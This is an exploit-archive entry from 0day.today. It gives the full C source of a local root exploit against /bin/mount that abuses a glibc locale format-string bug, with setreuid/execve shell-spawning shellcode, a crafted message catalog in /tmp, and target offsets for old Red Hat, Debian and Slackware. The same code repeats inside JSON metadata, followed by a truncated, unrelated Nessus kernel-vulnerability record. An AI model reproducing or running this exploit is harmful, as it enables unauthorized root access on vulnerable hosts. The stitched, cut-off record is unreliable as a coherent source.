ID 1337DAY-ID-7264 Type zdt Reporter sk8 Modified 2000-12-02T00:00:00
Description
Exploit for linux platform in category local exploits
==================================
mount exploit for glibc locale bug
==================================
/*
* mount exploit for glibc locale bug
* tested on redhat 6.2 and slackware 7.0 and debian 2.2
*
* Debian 2.2 (mount-2.10f) : ./mnt -n 136 -a 0x080589a0 -i 192
* Redhat 6.2 (mount-2.10f) : ./mnt -n 114 -a 0x080565dc -i 112
* compiled on rh 6.2 (mount-2.10m): ./mnt -n 114 -a 0x08059218 -i 112
*
* "objdump /bin/mount | grep exit" to get the -a address
*
* - sk8
*/
#include <unistd.h>
#include <stdio.h>
#include <fcntl.h>
char sc[]=
/* main: */ /* setreuid(0, 0); */
"\x29\xc0" /* subl %eax, %eax */
"\xb0\x46" /* movb $70, %al */
"\x29\xdb" /* subl %ebx, %ebx */
"\xb3\x0c" /* movb $12, %bl */
"\x80\xeb\x0c" /* subb $12, %bl */
"\x89\xd9" /* movl %ebx, %ecx */
"\xcd\x80" /* int $0x80 */
"\xeb\x18" /* jmp callz */
/* start: */ /* execve of /bin/sh */
"\x5e" /* popl %esi */
"\x29\xc0" /* subl %eax, %eax */
"\x88\x46\x07" /* movb %al, 0x07(%esi) */
"\x89\x46\x0c" /* movl %eax, 0x0c(%esi) */
"\x89\x76\x08" /* movl %esi, 0x08(%esi) */
"\xb0\x0b" /* movb $0x0b, %al */
"\x87\xf3" /* xchgl %esi, %ebx */
"\x8d\x4b\x08" /* leal 0x08(%ebx), %ecx */
"\x8d\x53\x0c" /* leal 0x0c(%ebx), %edx */
"\xcd\x80" /* int $0x80 */
/* callz: */
"\xe8\xe3\xff\xff\xff" /* call start */
/* /bin/sh */
"\x2f\x62\x69\x6e\x2f\x73\x68";
int main(int argc, char** argv) {
FILE* fp;
int numnops=10080;
char buffer[20000], fmtbuf[1000], numbuf[2000];
int shloc=0xbfffdaa0;
int i=0, c=0;
char mode='n';
int debug=0;
int eiploc=0xbffffdc0;
char* envbuf[2];
int inc=112;
int epad=-1, bpad=0;
int s=0;
int nump=114;
int num[4];
char xpath[128];
char* heapaddr=(char*)malloc(200);
memset(xpath, 0, strlen(xpath));
memset(buffer, 0, sizeof(buffer));
memset(fmtbuf, 0, sizeof(fmtbuf));
memset(numbuf, 0, sizeof(numbuf));
printf("heapaddr: 0x%x\n", heapaddr);
c=0;
strcpy (xpath, "/bin/mount");
while ((s=getopt(argc, argv, "p:s:b:e:a:n:i:d")) != EOF) {
switch(s) {
case 's': shloc=strtoul(optarg, 0, 0); break;
case 'b': bpad=atoi(optarg); break;
case 'e': epad=atoi(optarg); break;
case 'a': eiploc=strtoul(optarg, 0, 0); break;
case 'n': nump=atoi(optarg); break;
case 'i': inc=atoi(optarg); break;
case 'p': strcpy(xpath, optarg); break;
case 'd': debug=1; break;
default:
}
}
if (epad < 0) epad=10-strlen(xpath)%16;
if (epad < 0) epad+=16;
for (i=0; i < nump; i++) {
buffer[c++]='%';
buffer[c++]='8';
buffer[c++]='x';
}
if (debug) { mode='p';
strcpy(sc, "AAAA");
numnops=0;
}
printf("cur strlen: %i\n", strlen(buffer));
/* size of executed program (/bin/mount) does not seem to affect these calculations
it does affect location of eip however, (which is why its nice to just overwrite exit
it also affects epadding, but that is calculated based on executed program size
*/
num[0]=(shloc & 0xff)+inc; /* why 23? 114/4 - 5 */
if (num[0] < 0) num[0]+=256;
num[1]=((shloc >> 8) & 0xff)-(shloc & 0xff);
if (num[1] < 0) num[1]+=256;
num[2]=((shloc >> 16) & 0xff)+0x100-((shloc >> 8)&0xff);
if (num[2] < 0) num[2]+=256;
num[3]=((shloc >> 24) & 0xff)+1;
if (num[3] < 0) num[3]+=256;
sprintf(fmtbuf, "%%%id%%h%c%%%id%%h%c%%%id%%h%c%%%id%%h%c", num[0]
, mode, num[1], mode, num[2], mode, num[3], mode);
printf("fmtbuf: %s\n", fmtbuf);
printf("strlen(fmtbuf): %i\n", strlen(fmtbuf));
memcpy(buffer+strlen(buffer), fmtbuf, strlen(fmtbuf));
memset(buffer+strlen(buffer), 0x90, numnops);
memcpy(buffer+strlen(buffer), sc, strlen(sc));
mkdir("/tmp/sk8", 0755);
mkdir("/tmp/sk8/LC_MESSAGES", 0755);
if ( ! (fp=fopen("/tmp/sk8/LC_MESSAGES/libc.po", "w") ) ) {
printf("could not create bad libc.po\n");
exit(-1);
}
fprintf(fp, "msgid \"%%s: unrecognized option `--%%s'\\n\"\n");
fprintf(fp, "msgstr \"%s\\n\"", buffer);
fclose(fp);
system("msgfmt /tmp/sk8/LC_MESSAGES/libc.po -o /tmp/sk8/LC_MESSAGES/libc.mo");
c=0;
numbuf[c++]='-';
numbuf[c++]='-';
memset(numbuf+strlen(numbuf), 'B', bpad);
memcpy(numbuf+strlen(numbuf), "PPPP", 4);
*(long*)(numbuf+strlen(numbuf))=eiploc;
memcpy(numbuf+strlen(numbuf), "PPPP", 4);
*(long*)(numbuf+strlen(numbuf))=eiploc+1;
memcpy(numbuf+strlen(numbuf), "PPPP", 4);
*(long*)(numbuf+strlen(numbuf))=eiploc+2;
memcpy(numbuf+strlen(numbuf), "PPPP", 4);
*(long*)(numbuf+strlen(numbuf))=eiploc+3;
printf("cur numbuf length: %i\n", strlen(numbuf));
memset(numbuf+strlen(numbuf), 'Z', epad);
printf("cur numbuf length: %i\n", strlen(numbuf));
envbuf[0]="LANGUAGE=en_GB/../../../../tmp/sk8/";
envbuf[1]=0;
printf("strlen(numbuf): %i\n", strlen(numbuf));
printf("bpad: %i; epad: %i\n", bpad, epad);
printf("number of %%p's to traverse stack: %i\n", nump);
printf("address of eip: 0x%x\n", eiploc);
printf("inc: %i\n", inc);
execle(xpath, "mount", numbuf, 0, envbuf);
}
# 0day.today [2018-04-11] #
{"hash": "322b350f1f68a9ef26a25e752b65332835106d004264a30b841f53cd24618f7e", "id": "1337DAY-ID-7264", "lastseen": "2018-04-11T15:03:37", "viewCount": 5, "hashmap": [{"hash": "708697c63f7eb369319c6523380bdf7a", "key": "bulletinFamily"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvelist"}, {"hash": "8cd4821cb504d25572038ed182587d85", "key": "cvss"}, {"hash": "8be7a8b03e0d0b6e92b55fa1f40b9528", "key": "description"}, {"hash": "390bd03ad1425f7e30120e484c05e905", "key": "href"}, {"hash": "f53ccc439fc0704884a253fba3f860b6", "key": "modified"}, {"hash": "f53ccc439fc0704884a253fba3f860b6", "key": "published"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "references"}, {"hash": "046bb8d33079e493d04a7a21e5ce3bba", "key": "reporter"}, {"hash": "562f874077d9cb02568fd68c292177e6", "key": "sourceData"}, {"hash": "8d3384eaf5b12ae2eee48ab5c9611aef", "key": "sourceHref"}, {"hash": "e091b57809e81a585b5755ec3ed3c9f1", "key": "title"}, {"hash": "0678144464852bba10aa2eddf3783f0a", "key": "type"}], "bulletinFamily": "exploit", "cvss": {"score": 0.0, "vector": "NONE"}, "edition": 2, "enchantments": {"score": {"value": 0.5, "vector": "NONE", "modified": "2018-04-11T15:03:37"}, "dependencies": {"references": [{"type": "exploitdb", "idList": ["EDB-ID:44428", "EDB-ID:44251"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:147091", "PACKETSTORM:146599", "PACKETSTORM:130040"]}, {"type": "zdt", "idList": ["1337DAY-ID-30138", "1337DAY-ID-29910", "1337DAY-ID-28362", "1337DAY-ID-23171", "1337DAY-ID-10080"]}, {"type": "kaspersky", "idList": ["KLA10921"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:DOC:31665", "SECURITYVULNS:VULN:4227", "SECURITYVULNS:DOC:7264"]}], "modified": "2018-04-11T15:03:37"}, "vulnersScore": 0.5}, "type": "zdt", "sourceHref": "https://0day.today/exploit/7264", "description": "Exploit for linux platform in category local exploits", "title": "mount exploit for glibc locale bug", "history": [{"bulletin": {"hash": "4efb6eeaa87af344491ae9f4d3060b759f3b802fcef0f0ae7bc85e3156ee2a00", "id": "1337DAY-ID-7264", "lastseen": "2016-04-20T00:06:50", "enchantments": {"score": {"value": 2.8, "vector": "AV:N/AC:M/Au:M/C:P/I:N/A:N/", "modified": "2016-04-20T00:06:50"}}, "hashmap": [{"hash": "708697c63f7eb369319c6523380bdf7a", "key": "bulletinFamily"}, {"hash": "0678144464852bba10aa2eddf3783f0a", "key": "type"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "references"}, {"hash": "f53ccc439fc0704884a253fba3f860b6", "key": "modified"}, {"hash": "046bb8d33079e493d04a7a21e5ce3bba", "key": "reporter"}, {"hash": "19228451f8cd9f393544a97253463f04", "key": "href"}, {"hash": "8be7a8b03e0d0b6e92b55fa1f40b9528", "key": "description"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvelist"}, {"hash": "f53ccc439fc0704884a253fba3f860b6", "key": "published"}, {"hash": "ee68cabeba6d43d590b0d6475c88d74d", "key": "sourceHref"}, {"hash": "8cd4821cb504d25572038ed182587d85", "key": "cvss"}, {"hash": "e091b57809e81a585b5755ec3ed3c9f1", "key": "title"}, {"hash": "65ae2b74ec38ecbd510d8a7760cf5c96", "key": "sourceData"}], "bulletinFamily": "exploit", "history": [], "edition": 1, "type": "zdt", "sourceHref": "http://0day.today/exploit/7264", "description": "Exploit for linux platform in category local exploits", "viewCount": 0, "title": "mount exploit for glibc locale bug", "cvss": {"score": 0.0, "vector": "NONE"}, "objectVersion": "1.0", "cvelist": [], "sourceData": "==================================\r\nmount exploit for glibc locale bug\r\n==================================\r\n\r\n\r\n/*\r\n * mount exploit for glibc locale bug \r\n * tested on redhat 6.2 and slackware 7.0 and debian 2.2\r\n *\r\n * Debian 2.2 (mount-2.10f) : ./mnt -n 136 -a 0x080589a0 -i 192\r\n * Redhat 6.2 (mount-2.10f) : ./mnt -n 114 -a 0x080565dc -i 112\r\n * compiled on rh 6.2 (mount-2.10m): ./mnt -n 114 -a 0x08059218 -i 112\r\n *\r\n * \"objdump /bin/mount | grep exit\" to get the -a address\r\n *\r\n * - sk8\r\n */\r\n\r\n#include <unistd.h>\r\n#include <stdio.h>\r\n#include <fcntl.h>\r\n\r\nchar sc[]=\r\n /* main: */ /* setreuid(0, 0); */\r\n \"\\x29\\xc0\" /* subl %eax, %eax */\r\n \"\\xb0\\x46\" /* movb $70, %al */\r\n \"\\x29\\xdb\" /* subl %ebx, %ebx */\r\n \"\\xb3\\x0c\" /* movb $12, %bl */\r\n \"\\x80\\xeb\\x0c\" /* subb $12, %bl */\r\n \"\\x89\\xd9\" /* movl %ebx, %ecx */\r\n \"\\xcd\\x80\" /* int $0x80 */\r\n \"\\xeb\\x18\" /* jmp callz */\r\n\r\n /* start: */ /* execve of /bin/sh */\r\n \"\\x5e\" /* popl %esi */\r\n \"\\x29\\xc0\" /* subl %eax, %eax */\r\n \"\\x88\\x46\\x07\" /* movb %al, 0x07(%esi) */\r\n \"\\x89\\x46\\x0c\" /* movl %eax, 0x0c(%esi) */\r\n \"\\x89\\x76\\x08\" /* movl %esi, 0x08(%esi) */\r\n \"\\xb0\\x0b\" /* movb $0x0b, %al */\r\n \"\\x87\\xf3\" /* xchgl %esi, %ebx */\r\n \"\\x8d\\x4b\\x08\" /* leal 0x08(%ebx), %ecx */\r\n \"\\x8d\\x53\\x0c\" /* leal 0x0c(%ebx), %edx */\r\n \"\\xcd\\x80\" /* int $0x80 */\r\n\r\n /* callz: */\r\n \"\\xe8\\xe3\\xff\\xff\\xff\" /* call start */\r\n\r\n /* /bin/sh */\r\n \"\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\";\r\n\r\nint main(int argc, char** argv) {\r\n FILE* fp;\r\n int numnops=10080;\r\n char buffer[20000], fmtbuf[1000], numbuf[2000];\r\n int shloc=0xbfffdaa0;\r\n int i=0, c=0; \r\n char mode='n';\r\n int debug=0;\r\n int eiploc=0xbffffdc0;\r\n char* envbuf[2];\r\n int inc=112;\r\n int epad=-1, bpad=0;\r\n int s=0; \r\n int nump=114;\r\n int num[4];\r\n char xpath[128];\r\n char* heapaddr=(char*)malloc(200); \r\n memset(xpath, 0, strlen(xpath));\r\n memset(buffer, 0, sizeof(buffer));\r\n memset(fmtbuf, 0, sizeof(fmtbuf));\r\n memset(numbuf, 0, sizeof(numbuf));\r\n printf(\"heapaddr: 0x%x\\n\", heapaddr);\r\n c=0;\r\n strcpy (xpath, \"/bin/mount\");\r\n\r\n while ((s=getopt(argc, argv, \"p:s:b:e:a:n:i:d\")) != EOF) {\r\n switch(s) {\r\n case 's': shloc=strtoul(optarg, 0, 0); break;\r\n case 'b': bpad=atoi(optarg); break;\r\n case 'e': epad=atoi(optarg); break;\r\n case 'a': eiploc=strtoul(optarg, 0, 0); break;\r\n case 'n': nump=atoi(optarg); break;\r\n case 'i': inc=atoi(optarg); break;\r\n case 'p': strcpy(xpath, optarg); break;\r\n case 'd': debug=1; break;\r\n default: \r\n }\r\n }\r\n\r\n if (epad < 0) epad=10-strlen(xpath)%16;\r\n if (epad < 0) epad+=16;\r\n\r\n for (i=0; i < nump; i++) {\r\n buffer[c++]='%';\r\n buffer[c++]='8';\r\n buffer[c++]='x';\r\n }\r\n\r\n if (debug) { mode='p';\r\n strcpy(sc, \"AAAA\");\r\n numnops=0;\r\n }\r\n printf(\"cur strlen: %i\\n\", strlen(buffer));\r\n\r\n /* size of executed program (/bin/mount) does not seem to affect these calculations\r\n it does affect location of eip however, (which is why its nice to just overwrite exit \r\n it also affects epadding, but that is calculated based on executed program size\r\n */\r\n num[0]=(shloc & 0xff)+inc; /* why 23? 114/4 - 5 */\r\n if (num[0] < 0) num[0]+=256;\r\n num[1]=((shloc >> 8) & 0xff)-(shloc & 0xff);\r\n if (num[1] < 0) num[1]+=256;\r\n num[2]=((shloc >> 16) & 0xff)+0x100-((shloc >> 8)&0xff);\r\n if (num[2] < 0) num[2]+=256;\r\n num[3]=((shloc >> 24) & 0xff)+1;\r\n if (num[3] < 0) num[3]+=256;\r\n\r\n sprintf(fmtbuf, \"%%%id%%h%c%%%id%%h%c%%%id%%h%c%%%id%%h%c\", num[0]\r\n , mode, num[1], mode, num[2], mode, num[3], mode);\r\n printf(\"fmtbuf: %s\\n\", fmtbuf);\r\n printf(\"strlen(fmtbuf): %i\\n\", strlen(fmtbuf));\r\n memcpy(buffer+strlen(buffer), fmtbuf, strlen(fmtbuf));\r\n\r\n memset(buffer+strlen(buffer), 0x90, numnops);\r\n memcpy(buffer+strlen(buffer), sc, strlen(sc));\r\n \r\n mkdir(\"/tmp/sk8\", 0755);\r\n mkdir(\"/tmp/sk8/LC_MESSAGES\", 0755);\r\n if ( ! (fp=fopen(\"/tmp/sk8/LC_MESSAGES/libc.po\", \"w\") ) ) {\r\n printf(\"could not create bad libc.po\\n\");\r\n exit(-1);\r\n } \r\n fprintf(fp, \"msgid \\\"%%s: unrecognized option `--%%s'\\\\n\\\"\\n\");\r\n fprintf(fp, \"msgstr \\\"%s\\\\n\\\"\", buffer);\r\n fclose(fp);\r\n\r\n system(\"msgfmt /tmp/sk8/LC_MESSAGES/libc.po -o /tmp/sk8/LC_MESSAGES/libc.mo\");\r\n\r\n c=0;\r\n numbuf[c++]='-';\r\n numbuf[c++]='-';\r\n \r\n memset(numbuf+strlen(numbuf), 'B', bpad);\r\n \r\n memcpy(numbuf+strlen(numbuf), \"PPPP\", 4);\r\n *(long*)(numbuf+strlen(numbuf))=eiploc;\r\n\r\n memcpy(numbuf+strlen(numbuf), \"PPPP\", 4);\r\n *(long*)(numbuf+strlen(numbuf))=eiploc+1;\r\n\r\n memcpy(numbuf+strlen(numbuf), \"PPPP\", 4);\r\n *(long*)(numbuf+strlen(numbuf))=eiploc+2;\r\n\r\n memcpy(numbuf+strlen(numbuf), \"PPPP\", 4);\r\n *(long*)(numbuf+strlen(numbuf))=eiploc+3;\r\n printf(\"cur numbuf length: %i\\n\", strlen(numbuf));\r\n memset(numbuf+strlen(numbuf), 'Z', epad);\r\n printf(\"cur numbuf length: %i\\n\", strlen(numbuf));\r\n\r\n envbuf[0]=\"LANGUAGE=en_GB/../../../../tmp/sk8/\";\r\n envbuf[1]=0;\r\n\r\n printf(\"strlen(numbuf): %i\\n\", strlen(numbuf));\r\n printf(\"bpad: %i; epad: %i\\n\", bpad, epad); \r\n printf(\"number of %%p's to traverse stack: %i\\n\", nump);\r\n printf(\"address of eip: 0x%x\\n\", eiploc);\r\n printf(\"inc: %i\\n\", inc);\r\n\r\n execle(xpath, \"mount\", numbuf, 0, envbuf); \r\n}\r\n\r\n\r\n\n# 0day.today [2016-04-19] #", "published": "2000-12-02T00:00:00", "references": [], "reporter": "sk8", "modified": "2000-12-02T00:00:00", "href": "http://0day.today/exploit/description/7264"}, "lastseen": "2016-04-20T00:06:50", "edition": 1, "differentElements": ["sourceHref", "sourceData", "href"]}], "objectVersion": "1.3", "cvelist": [], "sourceData": "==================================\r\nmount exploit for glibc locale bug\r\n==================================\r\n\r\n\r\n/*\r\n * mount exploit for glibc locale bug \r\n * tested on redhat 6.2 and slackware 7.0 and debian 2.2\r\n *\r\n * Debian 2.2 (mount-2.10f) : ./mnt -n 136 -a 0x080589a0 -i 192\r\n * Redhat 6.2 (mount-2.10f) : ./mnt -n 114 -a 0x080565dc -i 112\r\n * compiled on rh 6.2 (mount-2.10m): ./mnt -n 114 -a 0x08059218 -i 112\r\n *\r\n * \"objdump /bin/mount | grep exit\" to get the -a address\r\n *\r\n * - sk8\r\n */\r\n\r\n#include <unistd.h>\r\n#include <stdio.h>\r\n#include <fcntl.h>\r\n\r\nchar sc[]=\r\n /* main: */ /* setreuid(0, 0); */\r\n \"\\x29\\xc0\" /* subl %eax, %eax */\r\n \"\\xb0\\x46\" /* movb $70, %al */\r\n \"\\x29\\xdb\" /* subl %ebx, %ebx */\r\n \"\\xb3\\x0c\" /* movb $12, %bl */\r\n \"\\x80\\xeb\\x0c\" /* subb $12, %bl */\r\n \"\\x89\\xd9\" /* movl %ebx, %ecx */\r\n \"\\xcd\\x80\" /* int $0x80 */\r\n \"\\xeb\\x18\" /* jmp callz */\r\n\r\n /* start: */ /* execve of /bin/sh */\r\n \"\\x5e\" /* popl %esi */\r\n \"\\x29\\xc0\" /* subl %eax, %eax */\r\n \"\\x88\\x46\\x07\" /* movb %al, 0x07(%esi) */\r\n \"\\x89\\x46\\x0c\" /* movl %eax, 0x0c(%esi) */\r\n \"\\x89\\x76\\x08\" /* movl %esi, 0x08(%esi) */\r\n \"\\xb0\\x0b\" /* movb $0x0b, %al */\r\n \"\\x87\\xf3\" /* xchgl %esi, %ebx */\r\n \"\\x8d\\x4b\\x08\" /* leal 0x08(%ebx), %ecx */\r\n \"\\x8d\\x53\\x0c\" /* leal 0x0c(%ebx), %edx */\r\n \"\\xcd\\x80\" /* int $0x80 */\r\n\r\n /* callz: */\r\n \"\\xe8\\xe3\\xff\\xff\\xff\" /* call start */\r\n\r\n /* /bin/sh */\r\n \"\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\";\r\n\r\nint main(int argc, char** argv) {\r\n FILE* fp;\r\n int numnops=10080;\r\n char buffer[20000], fmtbuf[1000], numbuf[2000];\r\n int shloc=0xbfffdaa0;\r\n int i=0, c=0; \r\n char mode='n';\r\n int debug=0;\r\n int eiploc=0xbffffdc0;\r\n char* envbuf[2];\r\n int inc=112;\r\n int epad=-1, bpad=0;\r\n int s=0; \r\n int nump=114;\r\n int num[4];\r\n char xpath[128];\r\n char* heapaddr=(char*)malloc(200); \r\n memset(xpath, 0, strlen(xpath));\r\n memset(buffer, 0, sizeof(buffer));\r\n memset(fmtbuf, 0, sizeof(fmtbuf));\r\n memset(numbuf, 0, sizeof(numbuf));\r\n printf(\"heapaddr: 0x%x\\n\", heapaddr);\r\n c=0;\r\n strcpy (xpath, \"/bin/mount\");\r\n\r\n while ((s=getopt(argc, argv, \"p:s:b:e:a:n:i:d\")) != EOF) {\r\n switch(s) {\r\n case 's': shloc=strtoul(optarg, 0, 0); break;\r\n case 'b': bpad=atoi(optarg); break;\r\n case 'e': epad=atoi(optarg); break;\r\n case 'a': eiploc=strtoul(optarg, 0, 0); break;\r\n case 'n': nump=atoi(optarg); break;\r\n case 'i': inc=atoi(optarg); break;\r\n case 'p': strcpy(xpath, optarg); break;\r\n case 'd': debug=1; break;\r\n default: \r\n }\r\n }\r\n\r\n if (epad < 0) epad=10-strlen(xpath)%16;\r\n if (epad < 0) epad+=16;\r\n\r\n for (i=0; i < nump; i++) {\r\n buffer[c++]='%';\r\n buffer[c++]='8';\r\n buffer[c++]='x';\r\n }\r\n\r\n if (debug) { mode='p';\r\n strcpy(sc, \"AAAA\");\r\n numnops=0;\r\n }\r\n printf(\"cur strlen: %i\\n\", strlen(buffer));\r\n\r\n /* size of executed program (/bin/mount) does not seem to affect these calculations\r\n it does affect location of eip however, (which is why its nice to just overwrite exit \r\n it also affects epadding, but that is calculated based on executed program size\r\n */\r\n num[0]=(shloc & 0xff)+inc; /* why 23? 114/4 - 5 */\r\n if (num[0] < 0) num[0]+=256;\r\n num[1]=((shloc >> 8) & 0xff)-(shloc & 0xff);\r\n if (num[1] < 0) num[1]+=256;\r\n num[2]=((shloc >> 16) & 0xff)+0x100-((shloc >> 8)&0xff);\r\n if (num[2] < 0) num[2]+=256;\r\n num[3]=((shloc >> 24) & 0xff)+1;\r\n if (num[3] < 0) num[3]+=256;\r\n\r\n sprintf(fmtbuf, \"%%%id%%h%c%%%id%%h%c%%%id%%h%c%%%id%%h%c\", num[0]\r\n , mode, num[1], mode, num[2], mode, num[3], mode);\r\n printf(\"fmtbuf: %s\\n\", fmtbuf);\r\n printf(\"strlen(fmtbuf): %i\\n\", strlen(fmtbuf));\r\n memcpy(buffer+strlen(buffer), fmtbuf, strlen(fmtbuf));\r\n\r\n memset(buffer+strlen(buffer), 0x90, numnops);\r\n memcpy(buffer+strlen(buffer), sc, strlen(sc));\r\n \r\n mkdir(\"/tmp/sk8\", 0755);\r\n mkdir(\"/tmp/sk8/LC_MESSAGES\", 0755);\r\n if ( ! (fp=fopen(\"/tmp/sk8/LC_MESSAGES/libc.po\", \"w\") ) ) {\r\n printf(\"could not create bad libc.po\\n\");\r\n exit(-1);\r\n } \r\n fprintf(fp, \"msgid \\\"%%s: unrecognized option `--%%s'\\\\n\\\"\\n\");\r\n fprintf(fp, \"msgstr \\\"%s\\\\n\\\"\", buffer);\r\n fclose(fp);\r\n\r\n system(\"msgfmt /tmp/sk8/LC_MESSAGES/libc.po -o /tmp/sk8/LC_MESSAGES/libc.mo\");\r\n\r\n c=0;\r\n numbuf[c++]='-';\r\n numbuf[c++]='-';\r\n \r\n memset(numbuf+strlen(numbuf), 'B', bpad);\r\n \r\n memcpy(numbuf+strlen(numbuf), \"PPPP\", 4);\r\n *(long*)(numbuf+strlen(numbuf))=eiploc;\r\n\r\n memcpy(numbuf+strlen(numbuf), \"PPPP\", 4);\r\n *(long*)(numbuf+strlen(numbuf))=eiploc+1;\r\n\r\n memcpy(numbuf+strlen(numbuf), \"PPPP\", 4);\r\n *(long*)(numbuf+strlen(numbuf))=eiploc+2;\r\n\r\n memcpy(numbuf+strlen(numbuf), \"PPPP\", 4);\r\n *(long*)(numbuf+strlen(numbuf))=eiploc+3;\r\n printf(\"cur numbuf length: %i\\n\", strlen(numbuf));\r\n memset(numbuf+strlen(numbuf), 'Z', epad);\r\n printf(\"cur numbuf length: %i\\n\", strlen(numbuf));\r\n\r\n envbuf[0]=\"LANGUAGE=en_GB/../../../../tmp/sk8/\";\r\n envbuf[1]=0;\r\n\r\n printf(\"strlen(numbuf): %i\\n\", strlen(numbuf));\r\n printf(\"bpad: %i; epad: %i\\n\", bpad, epad); \r\n printf(\"number of %%p's to traverse stack: %i\\n\", nump);\r\n printf(\"address of eip: 0x%x\\n\", eiploc);\r\n printf(\"inc: %i\\n\", inc);\r\n\r\n execle(xpath, \"mount\", numbuf, 0, envbuf); \r\n}\r\n\r\n\r\n\n# 0day.today [2018-04-11] #", "published": "2000-12-02T00:00:00", "references": [], "reporter": "sk8", "modified": "2000-12-02T00:00:00", "href": "https://0day.today/exploit/description/7264"}
{"nessus": [{"lastseen": "2019-11-01T02:07:13", "bulletinFamily": "scanner", "description": "According to the versions of the kernel packages installed, the\nEulerOS Virtualization for ARM 64 installation on the remote host is\naffected by the following vulnerabilities :\n\n - Mounting a crafted EXT4 image read-only leads to an\n attacker controlled memory corruption and\n SLAB-Out-of-Bounds reads.(CVE-2016-10208)\n\n - An issue was discovered in the hwpoison implementation\n in mm/memory-failure.c in the Linux kernel before\n 5.0.4. When soft_offline_in_use_page() runs on a thp\n tail page after pmd is split, an attacker can cause a\n denial of service (BUG).(CVE-2019-10124)\n\n - A stack-based buffer overflow flaw was found in the\n Linux kernel", "modified": "2019-11-02T00:00:00", "id": "EULEROS_SA-2019-1525.NASL", "href": "https://www.tenable.com/plugins/nessus/124978", "published": "2019-05-14T00:00:00", "title": "EulerOS Virtualization for ARM 64 3.0.1.0 : kernel (EulerOS-SA-2019-1525)", "type": "nessus", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(124978);\n script_version(\"1.4\");\n script_cvs_date(\"Date: 2019/06/27 13:33:26\");\n\n script_cve_id(\n \"CVE-2013-7264\",\n \"CVE-2014-4322\",\n \"CVE-2014-4653\",\n \"CVE-2014-9900\",\n \"CVE-2015-2666\",\n \"CVE-2015-8543\",\n \"CVE-2016-10208\",\n \"CVE-2016-2063\",\n \"CVE-2016-3135\",\n \"CVE-2016-6187\",\n \"CVE-2016-8666\",\n \"CVE-2016-9191\",\n \"CVE-2017-16538\",\n \"CVE-2017-5551\",\n \"CVE-2017-7618\",\n \"CVE-2017-9077\",\n \"CVE-2018-14734\",\n \"CVE-2019-10124\",\n \"CVE-2019-7221\",\n \"CVE-2019-7308\"\n );\n script_bugtraq_id(\n 64685,\n 68164,\n 73183\n );\n\n script_name(english:\"EulerOS Virtualization for ARM 64 3.0.1.0 : kernel (EulerOS-SA-2019-1525)\");\n script_summary(english:\"Checks the rpm output for the updated packages.\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote EulerOS Virtualization for ARM 64 host is missing multiple security\nupdates.\");\n script_set_attribute(attribute:\"description\", value:\n\"According to the versions of the kernel packages installed, the\nEulerOS Virtualization for ARM 64 installation on the remote host is\naffected by the following vulnerabilities :\n\n - Mounting a crafted EXT4 image read-only leads to an\n attacker controlled memory corruption and\n SLAB-Out-of-Bounds reads.(CVE-2016-10208)\n\n - An issue was discovered in the hwpoison implementation\n in mm/memory-failure.c in the Linux kernel before\n 5.0.4. When soft_offline_in_use_page() runs on a thp\n tail page after pmd is split, an attacker can cause a\n denial of service (BUG).(CVE-2019-10124)\n\n - A stack-based buffer overflow flaw was found in the\n Linux kernel's early load microcode functionality. On a\n system with UEFI Secure Boot enabled, a local,\n privileged user could use this flaw to increase their\n privileges to the kernel (ring0) level, bypassing\n intended restrictions in place.(CVE-2015-2666)\n\n - A flaw was found in the way the Linux kernel's\n networking subsystem handled offloaded packets with\n multiple layers of encapsulation in the GRO (Generic\n Receive Offload) code path. A remote attacker could use\n this flaw to trigger unbounded recursion in the kernel\n that could lead to stack corruption, resulting in a\n system crash.(CVE-2016-8666)\n\n - The ethtool_get_wol function in net/core/ethtool.c in\n the Linux kernel through 4.7, as used in Android before\n 2016-08-05 on Nexus 5 and 7 (2013) devices, does not\n initialize a certain data structure, which allows local\n users to obtain sensitive information via a crafted\n application, aka Android internal bug 28803952 and\n Qualcomm internal bug CR570754.(CVE-2014-9900)\n\n - A vulnerability was found in crypto/ahash.c in the\n Linux kernel which allows attackers to cause a denial\n of service (API operation calling its own callback, and\n infinite recursion) by triggering EBUSY on a full\n queue.(CVE-2017-7618)\n\n - drivers/misc/qseecom.c in the QSEECOM driver for the\n Linux kernel 3.x, as used in Qualcomm Innovation Center\n (QuIC) Android contributions for MSM devices and other\n products, does not validate certain offset, length, and\n base values within an ioctl call, which allows\n attackers to gain privileges or cause a denial of\n service (memory corruption) via a crafted\n application.(CVE-2014-4322)\n\n - An integer overflow vulnerability was found in the\n Linux kernel in xt_alloc_table_info, which on 32-bit\n systems can lead to small structure allocation and a\n copy_from_user based heap corruption.(CVE-2016-3135)\n\n - Stack-based buffer overflow in the\n supply_lm_input_write function in\n drivers/thermal/supply_lm_core.c in the MSM Thermal\n driver for the Linux kernel 3.x, as used in Qualcomm\n Innovation Center (QuIC) Android contributions for MSM\n devices and other products, allows attackers to cause a\n denial of service or possibly have unspecified other\n impact via a crafted application that sends a large\n amount of data through the debugfs\n interface.(CVE-2016-2063)\n\n - The l2tp_ip_recvmsg function in net/l2tp/l2tp_ip.c in\n the Linux kernel before 3.12.4 updates a certain length\n value before ensuring that an associated data structure\n has been initialized, which allows local users to\n obtain sensitive information from kernel stack memory\n via a (1) recvfrom, (2) recvmmsg, or (3) recvmsg system\n call.(CVE-2013-7264)\n\n - A bypass was found for the Spectre v1 hardening in the\n eBPF engine of the Linux kernel. The code in the\n kernel/bpf/verifier.c performs undesirable\n out-of-bounds speculation on pointer arithmetic in\n various cases, including cases of different branches\n with different state or limits to sanitize, leading to\n side-channel attacks.(CVE-2019-7308)\n\n - The tcp_v6_syn_recv_sock function in\n net/ipv6/tcp_ipv6.c in the Linux kernel mishandles\n inheritance, which allows local users to cause a denial\n of service or possibly have unspecified other impact\n via crafted system calls, a related issue to\n CVE-2017-8890. An unprivileged local user could use\n this flaw to induce kernel memory corruption on the\n system, leading to a crash. Due to the nature of the\n flaw, privilege escalation cannot be fully ruled out,\n although we believe it is unlikely.(CVE-2017-9077)\n\n - The cgroup 